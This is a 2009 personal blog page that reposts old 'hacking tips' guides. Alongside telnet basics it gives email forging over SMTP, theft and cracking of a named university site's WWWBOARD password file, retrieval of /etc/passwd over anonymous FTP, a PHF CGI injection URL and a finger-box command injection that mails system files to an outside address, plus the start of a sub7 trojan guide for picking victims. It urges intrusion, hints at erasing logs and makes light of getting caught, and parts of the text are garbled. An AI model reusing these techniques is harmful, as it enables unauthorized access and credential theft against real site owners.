body { background:#000000; margin:0; color:#cccccc; font: x-small "Trebuchet MS", Trebuchet, Verdana, Sans-serif; font-size/* */:/**/small; font-size: /**/small; text-align: center; } a:link { color:#99aadd; text-decoration:none; } a:visited { color:#aa77aa; text-decoration:none; } a:hover { color:#aadd99; text-decoration:underline; } a img { border-width:0; } /* Header ----------------------------------------------- */ #header-wrapper { width:660px; margin:0 auto 10px; border:1px solid #333333; } #header-inner { background-position: center; margin-left: auto; margin-right: auto; } #header { margin: 5px; border: 1px solid #333333; text-align: center; color:#cccccc; } #header h1 { margin:5px 5px 0; padding:15px 20px .25em; line-height:1.2em; text-transform:uppercase; letter-spacing:.2em; font: normal bold 200% 'Trebuchet MS',Trebuchet,Verdana,Sans-serif; } #header a { color:#cccccc; text-decoration:none; } #header a:hover { color:#cccccc; } #header .description { margin:0 5px 5px; padding:0 20px 15px; max-width:700px; text-transform:uppercase; letter-spacing:.2em; line-height: 1.4em; font: normal normal 78% 'Trebuchet MS', Trebuchet, Verdana, Sans-serif; color: #777777; } #header img { margin-left: auto; margin-right: auto; } /* Outer-Wrapper ----------------------------------------------- */ #outer-wrapper { width: 660px; margin:0 auto; padding:10px; text-align:left; font: normal normal 100% 'Trebuchet MS',Trebuchet,Verdana,Sans-serif; } #main-wrapper { width: 410px; float: left; word-wrap: break-word; /* fix for long text breaking sidebar float in IE */ overflow: hidden; /* fix for long non-text content breaking IE sidebar float */ } #sidebar-wrapper { width: 220px; float: right; word-wrap: break-word; /* fix for long text breaking sidebar float in IE */ overflow: hidden; /* fix for long non-text content breaking IE sidebar float */ } /* Headings ----------------------------------------------- */ h2 { margin:1.5em 0 .75em; font:normal bold 78% 'Trebuchet MS',Trebuchet,Arial,Verdana,Sans-serif; line-height: 1.4em; text-transform:uppercase; letter-spacing:.2em; color:#777777; } /* Posts ----------------------------------------------- */ h2.date-header { margin:1.5em 0 .5em; } .post { margin:.5em 0 1.5em; border-bottom:1px dotted #333333; padding-bottom:1.5em; } .post h3 { margin:.25em 0 0; padding:0 0 4px; font-size:140%; font-weight:normal; line-height:1.4em; color:#aadd99; } .post h3 a, .post h3 a:visited, .post h3 strong { display:block; text-decoration:none; color:#aadd99; font-weight:bold; } .post h3 strong, .post h3 a:hover { color:#cccccc; } .post-body { margin:0 0 .75em; line-height:1.6em; } .post-body blockquote { line-height:1.3em; } .post-footer { margin: .75em 0; color:#777777; text-transform:uppercase; letter-spacing:.1em; font: normal normal 78% 'Trebuchet MS', Trebuchet, Arial, Verdana, Sans-serif; line-height: 1.4em; } .comment-link { margin-left:.6em; } .post img { padding:4px; border:1px solid #333333; } .post blockquote { margin:1em 20px; } .post blockquote p { margin:.75em 0; } /* Comments ----------------------------------------------- */ #comments h4 { margin:1em 0; font-weight: bold; line-height: 1.4em; text-transform:uppercase; letter-spacing:.2em; color: #777777; } #comments-block { margin:1em 0 1.5em; line-height:1.6em; } #comments-block .comment-author { margin:.5em 0; } #comments-block .comment-body { margin:.25em 0 0; } #comments-block .comment-footer { margin:-.25em 0 2em; line-height: 1.4em; text-transform:uppercase; letter-spacing:.1em; } #comments-block .comment-body p { margin:0 0 .75em; } .deleted-comment { font-style:italic; color:gray; } .feed-links { clear: both; line-height: 2.5em; } #blog-pager-newer-link { float: left; } #blog-pager-older-link { float: right; } #blog-pager { text-align: center; } /* Sidebar Content ----------------------------------------------- */ .sidebar { color: #999999; line-height: 1.5em; } .sidebar ul { list-style:none; margin:0 0 0; padding:0 0 0; } .sidebar li { margin:0; padding-top:0; padding-right:0; padding-bottom:.25em; padding-left:15px; text-indent:-15px; line-height:1.5em; } .sidebar .widget, .main .widget { border-bottom:1px dotted #333333; margin:0 0 1.5em; padding:0 0 1.5em; } .main .Blog { border-bottom-width: 0; } /* Profile ----------------------------------------------- */ .profile-img { float: left; margin-top: 0; margin-right: 5px; margin-bottom: 5px; margin-left: 0; padding: 4px; border: 1px solid #333333; } .profile-data { margin:0; text-transform:uppercase; letter-spacing:.1em; font: normal normal 78% 'Trebuchet MS', Trebuchet, Arial, Verdana, Sans-serif; color: #777777; font-weight: bold; line-height: 1.6em; } .profile-datablock { margin:.5em 0 .5em; } .profile-textblock { margin: 0.5em 0; line-height: 1.6em; } .profile-link { font: normal normal 78% 'Trebuchet MS', Trebuchet, Arial, Verdana, Sans-serif; text-transform: uppercase; letter-spacing: .1em; } /* Footer ----------------------------------------------- */ #footer { width:660px; clear:both; margin:0 auto; padding-top:15px; line-height: 1.6em; text-transform:uppercase; letter-spacing:.1em; text-align: center; } -->

Sunday, June 14, 2009

strom


musik


Friday, June 12, 2009

Hacking tips



Part I: The Magic of DOS
In this guide you will learn how to telnet , forge email, usenslookup and netcat with Windows XP.
So you have the newest, glitziest, "Fisher Price" version of Windows: XP. How can you use XP in a way that sets you apart from the boring millions of ordinary users?
****************Luser Alert: Anyone who thinks this GTMHH will reveal how to blow up people's TV sets and steal Sandra Bullock's email is going to find out that I won't tell them how. ****************
The key to doing amazing things with XP is as simple as D O S. Yes, that's right, DOS as in MS-DOS, as in MicroSoft Disk Operating System. Windows XP (as well as NT and 2000) comes with two versions of DOS. Command.com is an old DOS version. Various versions of command.com come with Windows 95, 98, SE, ME, Window 3, and DOS only operating systems.
The other DOS, which comes only with the XP, 2000 and NT operating systems, is cmd.exe. Usually cmd.exe is better than command.com because it is easier to use, has more commands, and in some ways resembles the bash shell in Linux and other Unix-type operating systems. For example, you can repeat a command by using the up arrow until you back up to the desired command. Unlike bash, however, your DOS command history is erased whenever you shut down cmd.exe. The reason XP has both versions of DOS is that sometimes a program that won?t run right in cmd.exe will work in command.com
****************Flame Alert: Some readers are throwing fits because I dared to compare DOS to bash. I can compare cmd.exe to bash if I want to. Nanny nanny nah nah.****************
DOS is your number one Windows gateway to the Internet, and the open sesame to local area networks. From DOS, without needing to download a single hacker program, you can do amazingly sophisticated explorations and even break into poorly defended computers.
****************You can go to jail warning: Breaking into computers is against the law if you do not have permission to do so from the owner of that computer. For example, if your friend gives you permission to break into her Hotmail account, that won't protect you because Microsoft owns Hotmail and they will never give you permission.********************************You can get expelled warning: Some kids have been kicked out of school just for bringing up a DOS prompt on a computer. Be sure to get a teacher's WRITTEN permission before demonstrating that you can hack on a school computer.****************
So how do you turn on DOS? Click All Programs -> Accessories -> Command PromptThat runs cmd.exe. You should see a black screen with white text on it, saying something like this:
Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\>
Your first step is to find out what commands you can run in DOS. If you type "help" at the DOS prompt, it gives you a long list of commands. However, this list leaves out all the commands hackers love to use. Here are some of those left out hacker commands.
TCP/IP commands:telnetnetstatnslookuptracertpingftp
NetBIOS commands (just some examples):nbtstatnet usenet viewnet localgroup
TCP/IP stands for transmission control protocol/Internet protocol. As you can guess by the name, TCP/IP is the protocol under which the Internet runs. along with user datagram protocol (UDP). So when you are connected to the Internet, you can try these commands against other Internet computers. Most local area networks also use TCP/IP.
NetBIOS (Net Basic Input/Output System) protocol is another way to communicate between computers. This is often used by Windows computers, and by Unix/Linux type computers running Samba. You can often use NetBIOS commands over the Internet (being carried inside of, so to speak, TCP/IP). In many cases, however, NetBIOS commands will be blocked by firewalls. Also, not many Internet computers run NetBIOS because it is so easy to break in using them. We will cover NetBIOS commands in the next Guide to XP Hacking.

www.itedupk.blogspot.com/


HACKING XP PART 2..
How to Telnet with Windows XP
The queen of hacker commands is telnet. To get Windows help fortelnet, in the cmd.exe window give the command:
C:\>telnet /?
Here's what you will get:
telnet [-a][-e escape char][-f log file][-l user][-t term][host[port]]-a Attempt automatic logon. Same as -l option except usesthe currently logged on user's name.-e Escape character to enter telnet client prompt.-f File name for client side logging-l Specifies the user name to log in with on the remote system.Requires that the remote system support the TELNET ENVIRONoption.-t Specifies terminal type.Supported term types are vt100, vt52, ansi and vtnt only.host Specifies the hostname or IP address of the remote computerto connect to.
port Specifies a port number or service name.
****************Newbie note: what is a port on a computer? A computer port is sort of like a seaport. It's where things can go in and/or out of a computer. Some ports are easy to understand, like keyboard, monitor, printer and modem. Other ports are virtual, meaning that they are created by software. When that modem port of yours (or LAN or ISDN or DSL) is connected to the Internet, your computer has the ability to open or close any of over 65,000 different virtual ports, and has the ability to connect to any of these on another computer - if it is running that port, and if a firewall doesn?t block it.********************************Newbie note: How do you address a computer over the Internet? There are two ways: by number or by name. ****************
The simplest use of telnet is to log into a remote computer. Give thecommand:
C:/>telnet targetcomputer.com (substituting the name of the computer you want to telnet into for targetcomputer.com)
If this computer is set up to let people log into accounts, you mayget the message:
login:
Type your user name here, making sure to be exact. You can't swap between lower case and capital letters. For example, user name Guest is not the same as guest.
****************Newbie note: Lots of people email me asking how to learn what their user name and password are. Stop laughing, darn it, they really do. If you don't know your user name and password, that means whoever runs that computer didn't give you an account and doesn't want you to log on.****************
Then comes the message:
Password:
Again, be exact in typing in your password.
What if this doesn't work?
Every day people write to me complaining they can't telnet. That isusually because they try to telnet into a computer, or a port on acomputer that is set up to refuse telnet connections. Here's what itmight look like when a computer refuses a telnet connection:
C:\ >telnet 10.0.0.3Connecting To 10.0.0.3...Could not open connection to the host, on port 23. A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
Or you might see:
C:\ >telnet techbroker.comConnecting To techbroker.com...Could not open connection to the host, on port 23.No connection could be made because the target machine activelyrefused it.
If you just give the telnet command without giving a port number, itwill automatically try to connect on port 23, which sometimes runs atelnet server.
**************Newbie note: your Windows computer has a telnet client program,meaning it will let you telnet out of it. However you have to installa telnet server before anyone can telnet into port 23 on yourcomputer.*************
If telnet failed to connect, possibly the computer you were trying totelnet into was down or just plain no longer in existence. Maybe thepeople who run that computer don't want you to telnet into it.
How to Telnet into a Shell Account
Even though you can't telnet into an account inside some computer, often you can get some information back or get that computer to do something interesting for you. Yes, you can get a telnet connection to succeed -without doing anything illegal --against almost any computer, even if you don't have permission to log in. There are many legal things you can do to many randomly chosen computers with telnet. For example:
C:/telnet freeshell.org 22
SSH-1.99-OpenSSH_3.4p1
That tells us the target computer is running an SSH server, which enables encrypted connections between computers. If you want to SSH into an account there, you can get a shell account for free at . You can get a free SSH client program from .
One reason most hackers have shell accounts on Internet servers is because you can meet the real hackers there. When you've logged in, give the command w or who. That gives a list of user names. You can talk to other users with tht talk command. Another fun thing, if your shell account allows it, is to give the command
ps -auxww
It might tell you what commands and processes other users are running. Ask other users what they are doing and they might teach you something. Just be careful not to be a pest!
***************You can get punched in the nose warning: Your online provider might kick you off for making telnet probes of other computers. The solution is to get a local online provider and make friends with the people who run it, and convince them you are just doing harmless, legal explorations.*************
Sometimes a port is running an interesting program, but a firewall won't let you in. For example, 10.0.0.3, a computer on my local area network, runs an email sending program, (sendmail working together with Postfix, and using Kmail to compose emails). I can use it from an account inside 10.0.0.3 to send emails with headers that hide from where I send things.
If I try to telnet to this email program from outside this computer,here's what happens:
C:\>telnet 10.0.0.3 25Connecting To 10.0.0.3...Could not open connection to the host, onport 25.No connection could be made because the target machine activelyrefused it.
However, if I log into an account on 10.0.0.3 and then telnet frominside to port 25, here's what I get:
Last login: Fri Oct 18 13:56:58 2002 from 10.0.0.1Have a lot of fun...cmeinel@test-box:~> telnet localhost 25Trying ::1...telnet: connect to address ::1: Connection refusedTrying 127.0.0.1... [Carolyn's note: 127.0.0.1 is the numericaladdress meaning localhost, the same computer you are logged into]Connected to localhost.Escape character is '^]'.220 test-box.local ESMTP Postfix
The reason I keep this port 25 hidden behind a firewall is to keeppeople from using it to try to break in or to forge email. Now theubergeniuses reading this will start to make fun of me because noInternet address that begins with 10. is reachable from the Internet.However, sometimes I place this "test-box" computer online with astatic Internet address, meaning whenever it is on the Internet, italways has the same numerical address. I'm not going to tell you what its Internet address is because I don't want anyone messing with it. I just want to mess with other people's computers with it, muhahaha. That's also why I always keep my Internet address from showing up in the headers of my emails.
***************Newbie note: What is all this about headers? It's stuff at thebeginning of an email that may - or may not - tell you a lot aboutwhere it came from and when. To see full headers, in Outlook clickview -> full headers. In Eudora, click the "Blah blah blah" icon.****************





HACKING XP PART 3.....How to Forge Email with Windows XP Telnet
Want a computer you can telnet into and mess around with, and not get into trouble no matter what you do to it? I've set up mytechbroker.com (206.61.52.33) with user xyz, password guest for you to play with. Here's how to forge email to xyz@techbroker.com usingtelnet. Start with the command:
C:\>telnet techbroker.com 25Connecting To Techbroker.com
220 Service ready
Now you type in who you want the message to appear to come from:
helo santa@techbroker.comTechbroker.com will answer:
250 host ready
Next type in your mail from address:
mail from:santa@techbroker.com
250 Requested mail action okay, completed
Your next command:
rcpt to:xyz@techbroker.com250 Requested mail action okay, completed
Your next command:data354 Start main input; end with .
Newbie note: just means hit return. In case you can't see that little period between the s, what you do to end composing your email is to hit enter, type a period, then hit enter again.
Anyhow, try typing:
This is a test..250 Requested mail action okay, completedquit221 Service closing transmission channel
Connection to host lost.
Using techbroker's mail server, even if you enable full headers, themessage we just composed looks like:
Status: RX-status: N
This is a test.
That's a pretty pathetic forged email, huh? No "from", no date.However, you can make your headers better by using a trick with the data command. After you give it, you can insert as many headers as you choose. The trick is easier to show than explain:









Hacking Password Protected Website's
************************
re are many ways to defeat java-script protected websites. Some are very simplistic, such as hitting
[ctl-alt-dTheel ]when the password box is displayed, to simply turning offjava capability, which will dump you into the default page.You can try manually searching for other directories, by typing the directory name into the url address box of your browser, ie: you want access to www.target.com .
Try typing www.target.com/images .(almost ever y web site has an images directory) This will put you into the images directory,and give you a text list of all the images located there. Often, the title of an image will give you a clue to the name of another directory. ie: in www.target.com/images, there is a .gif named gamestitle.gif . There is a good chance then, that there is a 'games' directory on the site,so you would then type in www.target.com/games, and if it isa valid directory, you again get a text listing of all the files available there.
For a more automated approach, use a program like WEB SNAKE from anawave, or Web Wacker. These programs will create a mirror image of an entire web site, showing all director ies,or even mirror a complete server. They are indispensable for locating hidden files and directories.What do you do if you can't get past an opening "PasswordRequired" box? . First do an WHOIS Lookup for the site. In our example, www.target.com . We find it's hosted by www.host.com at 100.100.100. 1.
We then go to 100.100.100.1, and then launch \Web Snake, and mirror the entire server. Set Web Snake to NOT download anything over about 20K. (not many HTML pages are bigger than this) This speeds things up some, and keeps you from getting a lot of files and images you don't care about. This can take a long time, so consider running it right before bed time. Once you have an image of the entire server, you look through the directories listed, and find /target. When we open that directory, we find its contents, and all of its sub-directories listed. Let's say we find /target/games/zip/zipindex.html . This would be the index page that would be displayed had you gone through the password procedure, and allowed it to redirect you here.By simply typing in the url www.target.com/games/zip/zipindex.html you will be onthe index page and ready to follow the links for downloading.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
(DISCLAIMER)XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
The Info Above Is Lame!!!. I Dont Condone The Use Of This Document In A Malisous Manner. I Suggest That U Dont Do it But U Do What Ever U Want. I Will Not Be Responsible For Any Thing That Might Happen To U If U Use This. :)
HACK INFO ABOUT IP
Before you can change your IP you need some information. This information includes your IP range, subnet mask, default gateway, dhcp server, and dns servers.1. Getting your IP range - Getting information about your IP range is not difficult, I recommend using Neo Trace on your own IP. But for my test just look at your IP address, say it's 24.193.110.13 you can definitely use the IP's found between 24.193.110.1 < [new IP] <> www.itedupk.blogspot.com

Introduction - OK, that trick is intended solely for people who know very little about hacking, and when I say very little I mean very little. Now, for those of you jumping happily around and screaming "Finally, I am gonna be a hacker!" stop jumping around and just sit down, take a few deep breaths, and just relax.
After reading this file you should be able to hack
1 - A WWWBOARD,
2 - FTP/UNIX sites,
3 - Website Tricks, and
4 - Neat stuff/Misc. with much confidence.
Now, on to the disclaimer:
*** I will NOT be held responsible for what you do with this information. ***
NOTE: All commands that are written in this file, with the exception of the John the Ripper commands, like "edit passwd" are for DOS, so if you have UNIX use the VI editor or something of the sort.
OK, now there is no specific table of contents of this file, I am pretty much just going to make it up as I go along. Now, for you advanced hackers out there, I would recommend just leaving this file because you probably won't find much in this file that you don't already know. All right, now that I'm done this stupid raving rant, I can start explaining how to go about learning what you want to learn.
1 - How to hack a WWWBOARD (Credit going to kM of www.hackersclub.com for coming up with this brilliant idea, lets all applaud kM.)
OK, now obviously, in order to hack a WWWBOARD you need some sort of password file. Now, defaultly the passwd file is in the WWWBOARD directory. Most people who run the WWBOARD think to themselves "Hmm... What are the odds of some guy coming along and wanting to hack my WWWBOARD?" Well, the odds are pretty damn good. Now, when I say hack I mean both just to explore and just to do fun stuff like deleting files. I am not saying deleting files is GOOD, but sometimes it is fun. Anyway, the passwd file is almost always in the WWWBOARD directory, so lets take a real WWWBOARD.
The URL is http://www.cobleskill.edu/projects/archeo/wwwboard/. Now, if you go to that URL you will see a listing of files. For the purpose of this file ONLY, and not malicious intent, I have not alerted the site of this problem. Now, go to that URL and click on the file passwd.txt. You will get two words that look like this:
WebAdmin:aepTOqxOi4i8U
The first word, WebAdmin, is the username of, obviously, the operator of this WWWBOARD. The second "word" is the password, now, your probably sitting there looking at that word thinking to yourself "God damn, that is one funky password!" Well, stop thinking that because yes, that is the password, but it is encrypted. So, you have to get a password cracker. Now, I recommend one of two Password Crackers, either CrackerJack or John the Ripper, both of these can be found at http://www.hackersclub.com or almost any other hacking site. Once you go and get a password cracker you will most likely need a Word File. Those to can be found at http://www.hackersclub.com. Once you get the necessary stuff, you will need to copy the password file, WebAdmin:aepTOqxOi4i8U, and paste it into an empty notepad file or something of the sort. Now, you are probably thinking to yourself again "Alright, now I can crack this bad-ass of a password and become a hacker!" Sorry to rain on your parade, but no. Yes, you might be able to crack the password, but then ask yourself one question, once I got the password, what do I do with it?? Do I go mail it to the server www.cobleskill.edu and say "Hey, I got your passwd, now give me complete access to your WWWBOARD!" Sorry, if you do that, you will be thinking for about 10 years in prison "What did I do wrong?" or you might become Bruno's sweet boy. Sound like fun?? Didn't think so. OK, now IF you crack the password file, and you get the Username and Password, unencrypted of course, paste it into a text document or something, then add this right onto it - ":-2:-2:anonymous NFS user:/:/bin/date" What that will do will turn the WWWBOARD passwd file into a UNIX passwd file. If you don't do that then you will never crack the file. All in all the passwd file should look like this: "WebAdmin:aepTOqxOi4i8U:-2:-2:anonymous NFS user:/:/bin/date" Now, I don't use CrackerJack, so if you got that I can't help you, but if you got John the Ripper then type in this command in DOS : "john -pwfile:xxxxx -wordfile:xxxxx" XXXXX is whatever you named the passwd file or the word file. For example, "john -pwfile:hehe.txt -wordfile:WF.txt" It should just screw around for awhile and compute stuff and then if it is cracked you will get on the left side of the screen the passwd, WebBoard, and the Username, WebAdmin. Now, WebAdmin and WebBoard are the two-default username and passwds. Shows you about security these days. Now, once you got those two things, go into the WWWBOARD directory and look for a file(s) called WWWADMIN.CGI or WWWADMIN.PL or WWWBOARD.CGI or even WWWBOARD.PL. If none of those are there then you should examine the rest of the files in the directory. When I was in the directory the file wasn't there, but I found it nevertheless, I am not going to tell you what it is, but once you find it you will get something like this:
WWWAdmin For WWWBoard
Choose your Method of modifying WWWBoard Below:
Remove Files
Remove Files
Remove Files by Message Number
Remove Files by Date
Remove Files by Author
Password
Change Admin Password
That is, you guessed it, the little "Operating Station" for the WWWBOARD. Now, to do any of those things you must have the Username and Passwd that you cracked. So, click on an option and I think the rest is pretty much self-explanatory. I really do not recommend trashing the WWWBOARD, some people depend on them to get a lot of questions and answers, etc. I usually just read all the hidden messages and stuff like that and then just leave or tell the Operator of the WWWBOARD that his board is 100% trashable.
2 - Hacking an FTP site
OK, now hacking an FTP site WAS pretty easy a while ago, but nowadays most passwd files are shadowed which adds a little bit of extra security. I'll explain it later. OK, now, just before we start, the passwd file on UNIX machines is "passwd" not "passwd.txt." OK, now, for the example site we are going to use http://www.freestuff.com. Now, with the information I am going to give you will not let you hack this site because the passwd file is shadowed, as is almost every single website, but nevertheless, if you "experience" hacking long enough, you will find the answer on how to get the file. OK, now the first step is to do 1 of 2 things, get an FTP browser, like CuteFTP or BulletFTP or something, or you can use Win95 FTP which no one really knows about and how I found out is beyond my memory. OK, I will explain the FTP browser way first. OK, fire up the FTP Browser and for the host name plug in www.freestuff.com and for the port leave it at whatever it is, and hit connect, if there are any other options, then just screw around with them for a while and you'll figure it out. Anyway, for the access type or whatever, click on Anonymous, and after you hit connect you'll get some directories in the Remote Host box, and some other neat stuff in Local Host. Now, in the Remote Host section you want to double click on the "etc" directory if it is visible, if it is not, then see in the pull-down menus if there is an option called custom command. If there is then click on it and for the command type in "cd etc" and it will either say "OK, CWD command accepted" or something along the lines of that or it will say "..:Access Denied" or even "Error:There is no file or directory by that name." If you get the CWD command accepted then were in business. In the /etc/ directory you should see a file called passwd. If you don’t then go back up to custom command an for the command type in "get /etc/passwd" and it will either say "OK, Port command successful" or it will say "..:Access Denied." If you see that file then you can just drag the file over to local host and then click on the button "Start Download" or "Start Query" or something like that.
Now, if you have Win95 FTP you will have to go the Start Menu MS-DOS Prompt and type in "FTP WWW.FREESTUFF.COM" and it will show up a bunch of neat little messages like "connecting to www.freestuff.com" and other stuff. Eventually you will get to the login screen where it will say "(USER)" or something interesting and long like that. Now, for User type in Anonymous. If it accepts it will say "Password" or it will say, "Anonymous access not allowed on this server." Now, obviously the FBI or CIA is not going to allow ftp access, so don't even try it. Now, if you get to the password part, just type in something interesting like "Suckhole@" and the ftp server will fill in the rest. You can make it anything you want, now you'll either get 1 of 2 messages, within a marginal error, "Cannot set guest privileges" or this "Anonymous access allowed, guest privileges set." Those should be the only two that you get. If there are any others, these messages are pretty much self explanatory. Now, when you log on, the first thing you want to type is this command "pwd." Just that, it will display the current directory that you are in. You want it to say "/." If it doesn't then type this command about 3 times "cd .." That will take you down 1 directory/subdirectory. Once you get to the "/" directory, type this command "ls -a." It will list all the files in the directory, including the hidden ones. Now, if you see something in the listing that says "etc" then type this command "cd etc." That will move you into the "etc" directory. Just to be sure, type in "pwd" again to make sure you’re in the "etc" directory. If you are, then good, and type "ls -a" again and you should get some of these files: "Pwd.db, passwd, group, netconfig, net.config, or maybe even master.passwd." The two files we are most interested in are "passwd" and "master.passwd." I think what the files hold are kind of self-explanatory, but I'll tell you anyway, the "passwd" file holds all the usernames and passwd's that are on the entire system that your rooting around on. The "master.passwd" file will only show up if the passwd file is shadowed, and it also means the SysAdmin is a complete brain puppy. Forget "master.passwd" for now. The command you want to issue to this system is to get the "passwd" file from their computer to your computer, and we do that by simply typing, "get passwd." It should barf up some neat stuff, and then start transferring the file. When you get back to the ftp prompt you will have the passwd file on your C:\ drive or wherever you initiated the "ftp www.freestuff.com" from. Now, you just want to type in "quit." That will log you off the server. Now, for some reason right when you logoff the server you want to log back on just hit the "F3" key and it will pop up your last command. Now, what you want to do is move the passwd file to wherever your passwd cracker is. You can do that by typing, "move passwd X:\XX." X is the drive that your passwd cracker is on and XX is the directory the passwd cracker is in. Then it should say something like this: passwd -------> X:\XX -->OK" or something like that. Once you have moved the passwd file go the passwd crackers directory and open up the file by typing "Edit passwd." If the file has a bunch of stuff that looks like this:
root:x:x:x:x:x:x:
daemon:x:x:x:x:x:x
If it looks like that, not all the x's, just one by the usernames, then the passwd file is shadowed and can’t be cracked, might as well delete it (More info on shadowed passwd's at the bottom of this file). If it isn't shadow then just type in the passwd cracking command and get ready to hack a server! I still highly recommend not doing any damage, there are many ways to get caught and just to help out the websites out there I will not tell you the ways that they can catch you, But don't worry, every 8 out of 10 servers that are aware of having an attempted hack don't report it and just go about there business. Now, one more thing, if you get on the server with root access (basically root means that you can do anything, you are God on this system) then there are log files that record what happens to you, now, I think I am handing you more than enough information, so I am going to let you found out how to wipe your presence from the system, there are plenty of .txt files out there that tell you how to do it.
3 - Website Tricks
OK, now these Website tricks are "tricks" to get the passwd file without using FTP Browser or FTP Browsers.
The PHF Trick
OK, now this phf trick is a bit tricky (hehehe), not to use, but in the fact that some sites have added a command in there HTML code that if the phf command is issued then it will display a message like "Smile your on candid camera!" or it will say this "Your hack attempt has been logged and sent to the proper authorities." Sit the hell down, drop that shotgun, unbar your door, and stop whimpering about how your going to get busted and raped in prison by Scruffy. 90% of the time they are just bullshitting you and to them the proper authorities could be out in deep-dish-yak-dick country or in Bum Fuck Egypt. They just do that to scare the living shit out of Newbies or anybody who does that. It is bullshit, so stop worrying. OK, now on how to do the phf trick. This trick practically never works anymore, but hey, its fun to try on old school sites and stuff like that. I don't have an example site cause I really don't want to hunt down a site that this trick works on, so go find on yourself and don't send me e-mail about how you can't find a site that this doesn't work on. In order to do this trick the site must have a /cgi-bin/ directory. If it doesn't, then just leave it and forget the whole damn thing on that site, but if it does then keep reading. I am going to make this quick, an example would be this: http://www.Imanasshole.org/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
That will bring up the passwd file, but 95% of the time you'll get this very common and even more very crappy error about how the file doesn't exist. OK, that's the phf trick. Now, onto the finger-box hacking trick.
Finger-Box Hacking
Again for the finger-box hack to work you have to find a website with the /cgi-bin/ directory. I am just going to post the basic outline of commands for this cause my fingers are getting very tired of typing this :-). An example of finger-box hack is this:
http://www.XXXXX.com/cgi-bin/finger
After you type that in you will get a box, if you don't then the finger isn't there or you don't have access to it, and in the box type this:
nobody@nowhere.org ; /bin/mail me@junk.org < qalias="x%0a/bin/echo%20" x =" the">
enjoy

Hacking tips


HACKING tip JUST open this book.
lear how you can control others computer-->
know how can you make you computer unless
for others....
DOS secret comads...
secrit java scirpt...
E-mail:a_dil4dil@yahoo.com

Thursday, June 11, 2009

MY WORDS
Its not easy to tell all about my past.but i am going to say few words.
my name is Adil Shah was born in Lhore in 15june1988.i dont know how i was in my earliar
child hood. But iremember i was very innocent but not know lolzz.

I got my primiry education in a govt schooll. It was very hard go there becoze schol was soo for log. In primiry education i dont remember that i have any Best frien.

when i entered in my matriculation i got every thing in socity.that time i got a friend named YASEEN. We are the best friends.

after that i start my intermidiat class in GOV-M_A_O- College Lahore. i was very intrested in IT reladet subjects. For more click link
www.itedupk.blogspot.com



Wednesday, June 10, 2009

TIP OF THIS WEEK


Guide to Hacking with sub7
By, Dil
Customising your trojan:
Well first you need a victim so ICQ would be a brilliant place to start, considering you can get a program that’ll give you that victim’s I.P if you can’t get the scanner on sub7 to work. However they need to be on your list to get their I.P a good program would be wonder ICQ me get it at http://www.8th-wonder.com after you’ve logged their I.P you need to customise your virus: FOR more info visit www.itedupk.blogspot.com